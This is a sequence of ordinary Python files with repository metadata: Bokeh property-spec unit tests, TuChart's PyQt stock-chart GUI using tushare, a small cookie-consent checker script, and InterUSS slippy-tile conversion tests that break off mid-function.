test_field(self): class Foo(HasProps): col = bcpd.ColorSpec("colorfield") desc = Foo.__dict__["col"] f = Foo() assert f.col == "colorfield" assert desc.serializable_value(f) == {"field": "colorfield"} f.col = "myfield" assert f.col == "myfield" assert desc.serializable_value(f) == {"field": "myfield"} def test_field_default(self): class Foo(HasProps): col = bcpd.ColorSpec(default="red") desc = Foo.__dict__["col"] f = Foo() assert f.col == "red" assert desc.serializable_value(f) == {"value": "red"} f.col = "myfield" assert f.col == "myfield" assert desc.serializable_value(f) == {"field": "myfield"} def test_default_tuple(self): class Foo(HasProps): col = bcpd.ColorSpec(default=(128, 255, 124)) desc = Foo.__dict__["col"] f = Foo() assert f.col == (128, 255, 124) assert desc.serializable_value(f) == {"value": "rgb(128, 255, 124)"} def test_fixed_value(self): class Foo(HasProps): col = bcpd.ColorSpec("gray") desc = Foo.__dict__["col"] f = Foo() assert f.col == "gray" assert desc.serializable_value(f) == {"value": "gray"} def test_named_value(self): class Foo(HasProps): col = bcpd.ColorSpec("colorfield") desc = Foo.__dict__["col"] f = Foo() f.col = "red" assert f.col == "red" assert desc.serializable_value(f) == {"value": "red"} f.col = "forestgreen" assert f.col == "forestgreen" assert desc.serializable_value(f) == {"value": "forestgreen"} def test_case_insensitive_named_value(self): class Foo(HasProps): col = bcpd.ColorSpec("colorfield") desc = Foo.__dict__["col"] f = Foo() f.col = "RED" assert f.col == "RED" assert desc.serializable_value(f) == {"value": "RED"} f.col = "ForestGreen" assert f.col == "ForestGreen" assert desc.serializable_value(f) == {"value": "ForestGreen"} def test_named_value_set_none(self): class Foo(HasProps): col = bcpd.ColorSpec("colorfield") desc = Foo.__dict__["col"] f = Foo() f.col = None assert desc.serializable_value(f) == {"value": None} def test_named_value_unset(self): class Foo(HasProps): col = bcpd.ColorSpec("colorfield") desc = Foo.__dict__["col"] f = Foo() assert desc.serializable_value(f) == {"field": "colorfield"} def test_named_color_overriding_default(self): class Foo(HasProps): col = bcpd.ColorSpec("colorfield") desc = Foo.__dict__["col"] f = Foo() f.col = "forestgreen" assert f.col == "forestgreen" assert desc.serializable_value(f) == {"value": "forestgreen"} f.col = "myfield" assert f.col == "myfield" assert desc.serializable_value(f) == {"field": "myfield"} def test_hex_value(self): class Foo(HasProps): col = bcpd.ColorSpec("colorfield") desc = Foo.__dict__["col"] f = Foo() f.col = "#FF004A" assert f.col == "#FF004A" assert desc.serializable_value(f) == {"value": "#FF004A"} f.col = "myfield" assert f.col == "myfield" assert desc.serializable_value(f) == {"field": "myfield"} def test_tuple_value(self): class Foo(HasProps): col = bcpd.ColorSpec("colorfield") desc = Foo.__dict__["col"] f = Foo() f.col = (128, 200, 255) assert f.col == (128, 200, 255) assert desc.serializable_value(f) == {"value": "rgb(128, 200, 255)"} f.col = "myfield" assert f.col == "myfield" assert desc.serializable_value(f) == {"field": "myfield"} f.col = (100, 150, 200, 0.5) assert f.col == (100, 150, 200, 0.5) assert desc.serializable_value(f) == {"value": "rgba(100, 150, 200, 0.5)"} def test_set_dict(self): class Foo(HasProps): col = bcpd.ColorSpec("colorfield") desc = Foo.__dict__["col"] f = Foo() f.col = {"field": "myfield"} assert f.col == {"field": "myfield"} f.col = "field2" assert f.col == "field2" assert desc.serializable_value(f) == {"field": "field2"} class Test_DataDistanceSpec(object): def test_basic(self): assert issubclass(bcpd.DataDistanceSpec, bcpd.UnitsSpec) class Foo(HasProps): x = bcpd.DataDistanceSpec("x") foo = Foo(x=dict(field='foo')) props = foo.properties_with_values(include_defaults=False) assert props['x']['units'] == 'data' assert props['x']['field'] == 'foo' assert props['x'] is not foo.x class Test_DistanceSpec(object): def test_default_none(self): class Foo(HasProps): x = bcpd.DistanceSpec(None) a = Foo() assert a.x is None assert a.x_units == 'data' a.x = 14 assert a.x == 14 assert a.x_units == 'data' def test_autocreate_no_parens(self): class Foo(HasProps): x = bcpd.DistanceSpec a = Foo() assert a.x is None assert a.x_units == 'data' a.x = 14 assert a.x == 14 assert a.x_units == 'data' def test_default_value(self): class Foo(HasProps): x = bcpd.DistanceSpec(default=14) a = Foo() assert a.x == 14 assert a.x_units == 'data' def test_field_function(): assert bcpd.field("foo") == dict(field="foo") assert bcpd.field("foo", "junk") == dict(field="foo", transform="junk") assert bcpd.field("foo", transform="junk") == dict(field="foo", transform="junk") class Test_FontSizeSpec(object): def test_font_size_from_string(self): class Foo(HasProps): x = bcpd.FontSizeSpec(default=None) css_units = "%|em|ex|ch|ic|rem|vw|vh|vi|vb|vmin|vmax|cm|mm|q|in|pc|pt|px" a = Foo() assert a.x is None for unit in css_units.split("|"): v = '10%s' % unit a.x = v assert a.x == v assert a.lookup('x').serializable_value(a) == dict(value=v) v = '10.2%s' % unit a.x = v assert a.x == v assert a.lookup('x').serializable_value(a) == dict(value=v) f = '_10%s' % unit a.x = f assert a.x == f assert a.lookup('x').serializable_value(a) == dict(field=f) f = '_10.2%s' % unit a.x = f assert a.x == f assert a.lookup('x').serializable_value(a) == dict(field=f) for unit in css_units.upper().split("|"): v = '10%s' % unit a.x = v assert a.x == v assert a.lookup('x').serializable_value(a) == dict(value=v) v = '10.2%s' % unit a.x = v assert a.x == v assert a.lookup('x').serializable_value(a) == dict(value=v) f = '_10%s' % unit a.x = f assert a.x == f assert a.lookup('x').serializable_value(a) == dict(field=f) f = '_10.2%s' % unit a.x = f assert a.x == f assert a.lookup('x').serializable_value(a) == dict(field=f) def test_bad_font_size_values(self): class Foo(HasProps): x = bcpd.FontSizeSpec(default=None) a = Foo() with pytest.raises(ValueError): a.x = "6" with pytest.raises(ValueError): a.x = 6 with pytest.raises(ValueError): a.x = "" def test_fields(self): class Foo(HasProps): x = bcpd.FontSizeSpec(default=None) a = Foo() a.x = "_120" assert a.x == "_120" a.x = dict(field="_120") assert a.x == dict(field="_120") a.x = "foo" assert a.x == "foo" a.x = dict(field="foo") assert a.x == dict(field="foo") class Test_NumberSpec(object): def test_field(self): class Foo(HasProps): x = bcpd.NumberSpec("xfield") f = Foo() assert f.x == "xfield" assert Foo.__dict__["x"].serializable_value(f) == {"field": "xfield"} f.x = "my_x" assert f.x == "my_x" assert Foo.__dict__["x"].serializable_value(f) == {"field": "my_x"} def test_value(self): class Foo(HasProps): x = bcpd.NumberSpec("xfield") f = Foo() assert f.x == "xfield" f.x = 12 assert f.x == 12 assert Foo.__dict__["x"].serializable_value(f) == {"value": 12} f.x = 15 assert f.x == 15 assert Foo.__dict__["x"].serializable_value(f) == {"value": 15} f.x = dict(value=32) assert Foo.__dict__["x"].serializable_value(f) == {"value": 32} f.x = None assert Foo.__dict__["x"].serializable_value(f) is None def tests_accepts_timedelta(self): class Foo(HasProps): dt = bcpd.NumberSpec("dt", accept_datetime=True) ndt = bcpd.NumberSpec("ndt", accept_datetime=False) f = Foo() f.dt = datetime.timedelta(3, 54) assert f.dt == 259254000.0 # counts as number.Real out of the box f.dt = np.timedelta64(3000, "ms") assert f.dt == np.timedelta64(3000, "ms") f.ndt = datetime.timedelta(3, 54) assert f.ndt == 259254000.0 # counts as number.Real out of the box f.ndt = np.timedelta64(3000, "ms") assert f.ndt == np.timedelta64(3000, "ms") def tests_accepts_timedelta_with_pandas(self, pd): class Foo(HasProps): dt = bcpd.NumberSpec("dt", accept_datetime=True) ndt = bcpd.NumberSpec("ndt", accept_datetime=False) f = Foo() # counts as number.Real out of the box f.dt = pd.Timedelta("3000ms") assert f.dt == 3000.0 f.ndt = pd.Timedelta("3000ms") assert f.ndt == 3000.0 def test_accepts_datetime(self): class Foo(HasProps): dt = bcpd.NumberSpec("dt", accept_datetime=True) ndt = bcpd.NumberSpec("ndt", accept_datetime=False) f = Foo() f.dt = datetime.datetime(2016, 5, 11) assert f.dt == 1462924800000.0 f.dt = datetime.date(2016, 5, 11) assert f.dt == 1462924800000.0 f.dt = np.datetime64("2016-05-11") assert f.dt == 1462924800000.0 with pytest.raises(ValueError): f.ndt = datetime.datetime(2016, 5, 11) with pytest.raises(ValueError): f.ndt = datetime.date(2016, 5, 11) with pytest.raises(ValueError): f.ndt = np.datetime64("2016-05-11") def test_default(self): class Foo(HasProps): y = bcpd.NumberSpec(default=12) f = Foo() assert f.y == 12 assert Foo.__dict__["y"].serializable_value(f) == {"value": 12} f.y = "y1" assert f.y == "y1" # Once we set a concrete value, the default is ignored, because it is unused f.y = 32 assert f.y == 32 assert Foo.__dict__["y"].serializable_value(f) == {"value": 32} def test_multiple_instances(self): class Foo(HasProps): x = bcpd.NumberSpec("xfield") a = Foo() b = Foo() a.x = 13 b.x = 14 assert a.x == 13 assert b.x == 14 assert Foo.__dict__["x"].serializable_value(a) == {"value": 13} assert Foo.__dict__["x"].serializable_value(b) == {"value": 14} b.x = {"field": "x3"} assert Foo.__dict__["x"].serializable_value(a) == {"value": 13} assert Foo.__dict__["x"].serializable_value(b) == {"field": "x3"} def test_autocreate_no_parens(self): class Foo(HasProps): x = bcpd.NumberSpec a = Foo() assert a.x is None a.x = 14 assert a.x == 14 def test_set_from_json_keeps_mode(self): class Foo(HasProps): x = bcpd.NumberSpec(default=None) a = Foo() assert a.x is None # set as a value a.x = 14 assert a.x == 14 # set_from_json keeps the previous dict-ness or lack thereof a.set_from_json('x', dict(value=16)) assert a.x == 16 # but regular assignment overwrites the previous dict-ness a.x = dict(value=17) assert a.x == dict(value=17) # set as a field a.x = "bar" assert a.x == "bar" # set_from_json keeps the previous dict-ness or lack thereof a.set_from_json('x', dict(field="foo")) assert a.x == "foo" # but regular assignment overwrites the previous dict-ness a.x = dict(field="baz") assert a.x == dict(field="baz") class Test_UnitSpec(object): def test_basic(self): assert issubclass(bcpd.ScreenDistanceSpec, bcpd.UnitsSpec) class Foo(HasProps): x = bcpd.ScreenDistanceSpec("x") foo = Foo(x=dict(field='foo')) props = foo.properties_with_values(include_defaults=False) assert props['x']['units'] == 'screen' assert props['x']['field'] == 'foo' assert props['x'] is not foo.x def test_strict_key_values(self): class FooUnits(HasProps): x = bcpd.DistanceSpec("x") f = FooUnits() f.x = dict(field="foo", units="screen") with pytest.raises(ValueError): f.x = dict(field="foo", units="junk", foo="crap") class FooUnits(HasProps): x = bcpd.AngleSpec("x") f = FooUnits() f.x = dict(field="foo", units="deg") with pytest.raises(ValueError): f.x = dict(field="foo", units="junk", foo="crap") def test_value_function(): assert bcpd.value("foo") == dict(value="foo") assert bcpd.value("foo", "junk") == dict(value="foo", transform="junk") assert bcpd.value("foo", transform="junk") == dict(value="foo", transform="junk") #----------------------------------------------------------------------------- # Dev API #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Private API #----------------------------------------------------------------------------- #----------------------------------------------------------------------------- # Code #----------------------------------------------------------------------------- Test___all__ = verify_all(bcpd, ALL)

30.517685

133

0.513961

14246c0db8a46e55191fe8b4f8c495d953645b12

15,529

py

Python

Tuchart/main.py

zhy0313/TuChart

23116c5ac876b11e3434ef67064613dc977dd4c4

[ "MIT" ]

1

2019-03-20T08:27:22.000Z

build/lib/Tuchart/main.py

fasiondog/TuChart

23116c5ac876b11e3434ef67064613dc977dd4c4

[ "MIT" ]

null

build/lib/Tuchart/main.py

fasiondog/TuChart

23116c5ac876b11e3434ef67064613dc977dd4c4

[ "MIT" ]

3

2017-11-27T06:01:57.000Z

2019-03-21T14:53:14.000Z

#-*- coding:utf-8 -*- from __future__ import print_function import os,sys,sip,time from datetime import datetime,timedelta from qtpy.QtWidgets import QTreeWidgetItem,QMenu,QApplication,QAction,QMainWindow from qtpy import QtGui,QtWidgets from qtpy.QtCore import Qt,QUrl,QDate from Graph import graphpage from layout import Ui_MainWindow from pandas import DataFrame as df import pandas as pd import tushare as ts import cPickle import json list1 = [] class MyUi(QMainWindow): def __init__(self): super(MyUi, self).__init__() self.ui = Ui_MainWindow() self.ui.setupUi(self) cwd = os.getcwd() cwd = str(cwd) if os.path.isfile(cwd+"/time"): with open("time","r") as outfile:#reads current time history = cPickle.load(outfile) if (datetime.now()-history).total_seconds()<43200: #measures if time elapse>12 hours print("Less than 12 hours. Loading previously saved Json...") #with open("time","w") as infile: #update time #cPickle.dump(datetime.now(),infile) else: print("More than 12 hours. Updating Json...") data = ts.get_industry_classified() #data.to_json(cwd + "/class.json", orient="columns")#writes class data so no need to call Tushare agian with open("class.json","w+") as outfile: cPickle.dump(data,outfile) now = datetime.now() with open("time", "w+") as outfile: #update time cPickle.dump(now, outfile) else: print("No json found!") #If this is first time using tuchart in this directory data = df() data = ts.get_industry_classified() #var = data.to_json(cwd+"/class.json",orient="columns") with open('class.json', 'w+') as outfile: #records json cPickle.dump(data, outfile) now = datetime.now() with open("time", "w+") as outfile: cPickle.dump(now,outfile) with open("class.json", "r") as infile: # reads current time series = cPickle.load(infile) #series = pd.read_json(cwd + "\\class.json") #series = ts.get_industry_classified() series = pd.DataFrame(series) curdate = time.strftime("%Y/%m/%d") #gets current time to put into dateedit dateobj = datetime.strptime(curdate, "%Y/%m/%d")#converts to datetime object past = dateobj - timedelta(days = 7) #minus a week to start date pasttime = datetime.strftime(past, "%Y/%m/%d") QPast = QDate.fromString(pasttime,"yyyy/MM/dd") #convert to qtime so that widget accepts the values Qcurdate = QDate.fromString(curdate,"yyyy/MM/dd") list1 = series["c_name"].tolist() #Get industry categories. Filters out redundant ones list1 = list(set(list1)) #w = database() #zsparent = QTreeWidgetItem(self.ui.treeWidget) #zsparent.setText(0,"股票指数") #zsnames =["上证指数-sh","深圳成指-sz","沪深300指数-hs300","上证50-"] zsparent = QTreeWidgetItem(self.ui.treeWidget) zsparent.setText(0, "股票指数") zsnames = ["上证指数-sh", "深圳成指-sz", "沪深300指数-hs300", "上证50-sz50", "中小板-zxb", "创业板-cyb"] for k in zsnames: child = QTreeWidgetItem(zsparent) child.setText(0, k) for j in list1: parent = QTreeWidgetItem(self.ui.treeWidget) #populate treewidget with names parent.setText(0,j) var = series.loc[series["c_name"] == j] list2 = var["code"].tolist() name = var["name"].tolist() #var = showcollection(i) #Display database items for idx,val in enumerate(list2): child = QTreeWidgetItem(parent) child.setText(0, name[idx]+"-"+str(val)) #for i in Drag: #grandson = QTreeWidgetItem(child) #Commented out because increases program response time #grandson.setText(0, i) #self.ui.treeWidget.itemDoubleClicked.connect(self.onClickItem) #Display Collection items self.ui.treeWidget.setContextMenuPolicy(Qt.CustomContextMenu) self.ui.treeWidget.customContextMenuRequested.connect(self.openMenu) #self.ui.widget.setGeometry(QtCore.QRect(0, 30,1550, 861)) file_path = os.path.abspath(os.path.join(os.path.dirname(__file__), "render.html")) #path to read html file local_url = QUrl.fromLocalFile(file_path) self.ui.widget.load(local_url) self.ui.commandLinkButton.setFixedSize(50, 50) self.ui.commandLinkButton.clicked.connect(self.classify) #when the arrow button is clicked, trigger events #self.ui.commandLinkButton.clicked.connect(lambda action: self.classify(action, self.ui.treewidget)) # QSizePolicy try: retain_size = self.ui.dateEdit_2.sizePolicy() retain_size.setRetainSizeWhenHidden(True) self.ui.dateEdit_2.setSizePolicy(retain_size) retain_size = self.ui.comboBox.sizePolicy() retain_size.setRetainSizeWhenHidden(True) self.ui.comboBox.setSizePolicy(retain_size) retain_size = self.ui.label_2.sizePolicy() retain_size.setRetainSizeWhenHidden(True) self.ui.label_2.setSizePolicy(retain_size) except AttributeError: print("No PYQT5 Binding! Widgets might be deformed") self.ui.dateEdit.setDate(QPast) self.ui.dateEdit_2.setDate(Qcurdate)#populate widgets self.ui.dateEdit.setCalendarPopup(True) self.ui.dateEdit_2.setCalendarPopup(True) self.ui.comboBox.addItems(["D", "W", "M", "5", "15", "30", "60"]) self.ui.treeWidget_2.setDragDropMode(self.ui.treeWidget_2.InternalMove) self.ui.treeWidget_2.setContextMenuPolicy(Qt.CustomContextMenu) self.ui.treeWidget_2.customContextMenuRequested.connect(self.openWidgetMenu) #self.ui.toolbutton.clicked.connect(lambda action: self.graphmerge(action, CombineKeyword)) self.ui.combobox.currentIndexChanged.connect(self.modifycombo) def modifycombo(self): if self.ui.combobox.currentText()==u"复权": #if 复权 is selected, clear all existing queries to avoid value conflict self.ui.label_2.show() self.ui.dateEdit_2.show() self.ui.comboBox.show() self.ui.comboBox.clear() self.ui.comboBox.addItems(["hfq", "qfq"]) self.ui.treeWidget_2.clear() if self.ui.combobox.currentText()==u"K线": self.ui.label_2.show() self.ui.dateEdit_2.show() self.ui.comboBox.show() self.ui.comboBox.clear() self.ui.comboBox.addItems(["D", "W", "M", "5", "15", "30", "60"])#same as above self.ui.treeWidget_2.clear() if self.ui.combobox.currentText()==u"分笔数据": self.ui.comboBox.hide() self.ui.label_2.hide() self.ui.dateEdit_2.hide() self.ui.treeWidget_2.clear() if self.ui.combobox.currentText()==u"历史分钟": self.ui.comboBox.show() self.ui.comboBox.clear() self.ui.comboBox.addItems(["1min","5min","15min","30min","60min"]) self.ui.label_2.hide() self.ui.dateEdit_2.hide() self.ui.treeWidget_2.clear() if self.ui.combobox.currentText()==u"十大股东": self.ui.comboBox.hide() self.ui.label_2.hide() self.ui.dateEdit_2.hide() self.ui.treeWidget_2.clear() def graphmerge(self, combineKeyword): sth = "" for i in combineKeyword: if sth == "": sth = sth + i else : sth = sth + "\n" + "&"+ "-"+i list1 = sth return sth global CombineKeyword CombineKeyword = [] self.ui.listwidget.clear() #combine stuff so that different graphs can be drawn together def kstuff(self): return 0 def openWidgetMenu(self,position): indexes = self.ui.treeWidget_2.selectedIndexes() item = self.ui.treeWidget_2.itemAt(position) if item == None: return #item = self.ui.listWidget.itemAt(position) if len(indexes) > 0: menu = QMenu() menu.addAction(QAction("Delete", menu,checkable = True))#This function is perhaps useless #menu.triggered.connect(self.eraseItem) item = self.ui.treeWidget_2.itemAt(position) #collec = str(item.text()) menu.triggered.connect(lambda action: self.ListMethodSelected(action, item)) menu.exec_(self.ui.treeWidget_2.viewport().mapToGlobal(position)) def ListMethodSelected(self, action, item): if action.text() == "Delete": self.eraseItem() if action.text() == "Combine": global CombineKeyword collec = str(item.text()) CombineKeyword.append(collec)#Useless function(maybe?) list1 = [self.tr(collec)] self.ui.listwidget.addItems(list1) self.eraseItem() def methodSelected(self, action, collec): #print(action.text()) #Choice #if (self.ui.treewidget.count() == 5): # self.ui.label.setText("Maximum number of queries") # return #self.ui.label.setText("") Choice = action.text() Stock = collec #print(collec) #Stock Name #print(db_origin) #DataBase name #list1 = [self.tr(Stock+"-"+Choice+"-"+db_origin)] #self.ui.treewidget.addItems(list1) parent = QTreeWidgetItem(self.ui.treeWidget_2) parent.setText(0, Stock.decode("utf-8")+"-"+Choice) font = QtGui.QFont("Times", 12, QtGui.QFont.Bold) self.ui.treeWidget_2.setFont(font) def eraseItem(self): for x in self.ui.treeWidget_2.selectedItems():#delete with write click menu #item = self.ui.treewidget.takeItem(self.ui.treewidget.currentRow()) sip.delete(x) #item.delete def classify(self, folder): items = [] startdate = self.ui.dateEdit.date() startdate = startdate.toPyDate() startdate = startdate.strftime("%Y/%m/%d")#converts date from dateedit to tushare readable date enddate = self.ui.dateEdit_2.date() enddate = enddate.toPyDate() enddate = enddate.strftime("%Y/%m/%d") option = self.ui.comboBox.currentText() option = str(option) #if (self.ui.treewidget) == 0: #self.ui.label.setText("Need to select at least one query") #return root = self.ui.treeWidget_2.invisibleRootItem()# This is for iterating child items child_count = root.childCount() if child_count==0: return for i in range(child_count): if root.child(i).child(0): array = [] temp = root.child(i) #mergelist = self.recurse(temp,array) #print(mergelist) parent = root.child(i).text(0) mergelist = [] for j in range(temp.childCount()): while temp.child(j).childCount()!=0: #self.ui.label.setText("Error: Invalid Tree!") return txt = temp.child(j).text(0) mergelist.append(txt) mergelist.insert(0,parent) url = self.graphmerge(mergelist) items.append(url) else: item = root.child(i) url = item.text(0) items.append(url) labels = [k for k in items] items = ([x.encode("utf-8") for x in labels]) width = self.ui.widget.width()#give width and height of user's screen so that graphs can be generated with dynamic size height = self.ui.widget.height() graphpage(labels, startdate,enddate,option,width, height)#labels:复权ork线or分笔 option:hfq, qfq or 15, 30, D, etc self.ui.widget.reload()#refreshes webengine self.ui.widget.repaint() self.ui.widget.update() def openMenu(self,position): indexes = self.ui.treeWidget.selectedIndexes() item = self.ui.treeWidget.itemAt(position) db_origin = "" #if item.parent(): # db_origin = item.parent().text(0) collec = str(item.text(0).encode("utf-8")) if len(indexes) > 0: level = 0 index = indexes[0] while index.parent().isValid(): index = index.parent() level = level + 1 menu = QMenu() #print((collec, db_origin)) if level ==0: pass else: #keyarray = GetKeys(collec, db_origin) #if "Open" in keyarray: if self.ui.combobox.currentText()==u"K线": menu.addAction(QAction("Kline", menu, checkable=True)) menu.addAction(QAction("Open", menu, checkable=True)) menu.addAction(QAction("Close", menu, checkable=True))#open up different menu with different kind of graphs menu.addAction(QAction("High", menu, checkable=True)) menu.addAction(QAction("Low", menu, checkable=True)) menu.addAction(QAction("Volume", menu, checkable=True)) #menu.addAction(QAction("P_change", menu, checkable=True)) #menu.addAction(QAction("Turnover",menu,checkable=True)) if self.ui.combobox.currentText()==u"复权": menu.addAction(QAction("Kline", menu, checkable=True)) menu.addAction(QAction("Open", menu, checkable=True)) menu.addAction(QAction("Close", menu, checkable=True)) menu.addAction(QAction("High", menu, checkable=True)) menu.addAction(QAction("Low", menu, checkable=True)) menu.addAction(QAction("Volume", menu, checkable=True)) menu.addAction(QAction("Amount", menu, checkable=True)) if self.ui.combobox.currentText()==u"分笔数据": menu.addAction(QAction("分笔", menu, checkable=True)) if self.ui.combobox.currentText()==u"历史分钟": menu.addAction(QAction("Kline", menu, checkable=True)) menu.addAction(QAction("Open", menu, checkable=True)) menu.addAction(QAction("Close", menu, checkable=True)) menu.addAction(QAction("High", menu, checkable=True)) menu.addAction(QAction("Low", menu, checkable=True)) menu.addAction(QAction("Volume", menu, checkable=True)) menu.addAction(QAction("Amount", menu, checkable=True)) if self.ui.combobox.currentText()==u"十大股东": menu.addAction(QAction("季度饼图", menu, checkable=True)) #menu.addAction(QAction("持股比例", menu, checkable=True)) #for g in keyarray: #menu.addAction(QAction(g, menu, checkable=True)) menu.triggered.connect(lambda action: self.methodSelected(action, collec)) menu.exec_(self.ui.treeWidget.viewport().mapToGlobal(position)) app = QApplication(sys.argv) w = MyUi() w.show() sys.exit(app.exec_())

45.142442

127

0.586902

573e2b8dce3e4e86b7731c5aa1c96bd6798148fa

306

py

Python

test.py

Dr3xler/CookieConsentChecker

816cdfb9d9dc741c57dbcd5e9c9ef59837196631

[ "MIT" ]

null

test.py

Dr3xler/CookieConsentChecker

816cdfb9d9dc741c57dbcd5e9c9ef59837196631

[ "MIT" ]

3

2021-04-29T22:57:09.000Z

2021-05-03T15:32:39.000Z

test.py

Dr3xler/CookieConsentChecker

816cdfb9d9dc741c57dbcd5e9c9ef59837196631

[ "MIT" ]

1

2021-08-29T09:53:09.000Z

from core import file_handling as file_h, driver_handling as driver_h from website_handling import collect_websites as collect websites = file_h.website_reader_cookie_websites() driver = driver_h.webdriver_setup() #idcac_poc.addon_check(driver, websites) collect.generate_success_list(driver, websites)

30.6

69

0.849673

fa69bd7d7c68df58c1e6190ea72750add1635a1f

8,184

py

Python

datanode/src/slippy_util_test.py

airmap/InterUSS-Platform

fa19af360826b4dd7b841013c0c569a4f282919d

[ "Apache-2.0" ]

null

datanode/src/slippy_util_test.py

airmap/InterUSS-Platform

fa19af360826b4dd7b841013c0c569a4f282919d

[ "Apache-2.0" ]

1

2021-03-26T12:13:17.000Z

datanode/src/slippy_util_test.py

isabella232/InterUSS-Platform

fa19af360826b4dd7b841013c0c569a4f282919d

[ "Apache-2.0" ]

2

2019-08-11T20:20:32.000Z

2021-03-26T12:01:43.000Z

"""Test of the InterUSS Platform Data Node slippy utilities. Copyright 2018 Google LLC Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import unittest import slippy_util class InterUSSSlippyUtilitiesTestCase(unittest.TestCase): def testValidateSlippy(self): pass def testValidateSlippy(self): pass def testValidCSVConversions(self): self.assertEqual([(0.0, 0.0)], slippy_util.convert_csv_to_coordinates('0,0')) self.assertEqual([(40.0, 0.0)], slippy_util.convert_csv_to_coordinates('40,0')) self.assertEqual([(40.4, 0.0)], slippy_util.convert_csv_to_coordinates('40.4,0')) self.assertEqual([(40.4, 110.0)], slippy_util.convert_csv_to_coordinates('40.4,110')) self.assertEqual([(40.4, 110.1)], slippy_util.convert_csv_to_coordinates('40.4,110.1')) def testInvalidCSVConversions(self): with self.assertRaises(TypeError): slippy_util.convert_csv_to_coordinates(None) with self.assertRaises(TypeError): slippy_util.convert_csv_to_coordinates(0) with self.assertRaises(TypeError): slippy_util.convert_csv_to_coordinates('') with self.assertRaises(ValueError): slippy_util.convert_csv_to_coordinates('1') with self.assertRaises(ValueError): slippy_util.convert_csv_to_coordinates('10 100') with self.assertRaises(ValueError): slippy_util.convert_csv_to_coordinates('COORDS') with self.assertRaises(ValueError): slippy_util.convert_csv_to_coordinates('10,C') with self.assertRaises(ValueError): slippy_util.convert_csv_to_coordinates('91,10') with self.assertRaises(ValueError): slippy_util.convert_csv_to_coordinates('10,191') with self.assertRaises(ValueError): slippy_util.convert_csv_to_coordinates('10,11,12') def testConversionOfTilesToPolygons(self): pass def testValidPointConversions(self): self.assertEqual((0, 0), slippy_util.convert_point_to_tile(0, 0, 0)) self.assertEqual((1, 1), slippy_util.convert_point_to_tile(1, 0, 0)) self.assertEqual((2, 2), slippy_util.convert_point_to_tile(2, 0, 0)) self.assertEqual((3, 1), slippy_util.convert_point_to_tile(2, 34, 110)) self.assertEqual((412, 204), slippy_util.convert_point_to_tile(9, 34, 110)) self.assertEqual((412, 307), slippy_util.convert_point_to_tile(9, -34, 110)) self.assertEqual((99, 307), slippy_util.convert_point_to_tile(9, -34, -110)) self.assertEqual((99, 204), slippy_util.convert_point_to_tile(9, 34, -110)) def testInvalidPointConversions(self): with self.assertRaises(ValueError): slippy_util.convert_point_to_tile(-1, 0, 0) with self.assertRaises(ValueError): slippy_util.convert_point_to_tile(21, 0, 0) with self.assertRaises(ValueError): slippy_util.convert_point_to_tile(1, 91, 10) with self.assertRaises(ValueError): slippy_util.convert_point_to_tile(1, 10, 191) with self.assertRaises(TypeError): slippy_util.convert_point_to_tile(1, 10, None) with self.assertRaises(ValueError): slippy_util.convert_path_to_tiles(0, [(0, 0)]) with self.assertRaises(OverflowError): slippy_util.convert_path_to_tiles(15, [(0, 0), (1, 1.5)]) def testValidPathConversions(self): self.assertEqual(1, len(slippy_util.convert_path_to_tiles(0, [(0, 0), (1, 1.5)]))) self.assertEqual(2, len(slippy_util.convert_path_to_tiles(5, [(0, 0), (1, 1.5)]))) # One segment should be the same as two segments that overlapp self.assertEqual(len(slippy_util.convert_path_to_tiles(10, [(0, 0), (1, 1.5)])), len(slippy_util.convert_path_to_tiles(10, [(0, 0), (1, 1.5), (0, 0)]))) # 4 points are in 4 separate grids, # and there are 2 grids underlapping the path self.assertEqual(6, len( slippy_util.convert_path_to_tiles(9, [(47.5, -103), (47.5, -102.5), (48, -102.5), (48, -103), (47.5, -103)]))) # Corner cutter case that two points are in two grids, but they cut # a corner and that grid should be included self.assertEqual(3, len( slippy_util.convert_path_to_tiles( 9, [(37.936541030367316, -122.377713074509), (37.69672993401783, -122.10422390269278)]))) def testInvalidPathConversions(self): with self.assertRaises(TypeError): slippy_util.convert_path_to_tiles(0, None) with self.assertRaises(TypeError): slippy_util.convert_path_to_tiles(0, 0) with self.assertRaises(TypeError): slippy_util.convert_path_to_tiles(0, '0,0,1,1.5') with self.assertRaises(ValueError): slippy_util.convert_path_to_tiles(0, []) with self.assertRaises(TypeError): slippy_util.convert_path_to_tiles(0, [(0), (1)]) # test a lot of tiles calculation with self.assertRaises(OverflowError): slippy_util.convert_polygon_to_tiles(15, [(47.5, -103), (47.5, -101.8), (48, -101.8), (48, -103), (47.5, -103)]) def testValidPolygonConversions(self): self.assertEqual(1, len( slippy_util.convert_polygon_to_tiles(0, [(0, 0), (1, 1.5), (2, 0), (0, 0)]))) self.assertEqual(2, len( slippy_util.convert_polygon_to_tiles(5, [(0, 0), (1, 1.5), (2, 0), (0, 0)]))) # check auto closing self.assertEqual( slippy_util.convert_polygon_to_tiles(9, [(0, 0), (1, 1.5), (2, 0)]), slippy_util.convert_polygon_to_tiles(9, [(0, 0), (1, 1.5), (2, 0), (0, 0)])) # 4 points are in 4 separate grids, # and there are 4 grids underlapping the path, and 1 grid surrounded self.assertEqual(9, len( slippy_util.convert_polygon_to_tiles(9, [(47.5, -103), (47.5, -101.8), (48, -101.8), (48, -103), (47.5, -103)]))) def testInvalidPolygonConversions(self): with self.assertRaises(TypeError): slippy_util.convert_polygon_to_tiles(0, None) with self.assertRaises(TypeError): slippy_util.convert_polygon_to_tiles(0, 0) with self.assertRaises(TypeError): slippy_util.convert_polygon_to_tiles(0, '0,0,1,1.5') with self.assertRaises(ValueError): slippy_util.convert_polygon_to_tiles(0, []) with self.assertRaises(ValueError): slippy_util.convert_polygon_to_tiles(0, [(0), (1)]) def testSlippyConversionsForSpecialCases(self): # 4x4 grid used for these tests at zoom 4 # 8,8 9,8 10,8 11,8 # 8,9 9,9 10,9 11,9 # 8,10 9,10 10,10 11,10 # 8,11 9,11 10,11 11,11 # points of interest point_8x8 = (-19.808, 20.039) point_8x11 = (-65.730, 19.160) point_11x11 = (-58.263, 71.367) point_11x8 = (-6.839, 82.441) # all 16 for all four by polygon self.assertEqual(16, len( slippy_util.convert_polygon_to_tiles( 4, [point_8x8, point_8x11, point_11x11, point_11x8]))) # only 10 by path (no closing the path) 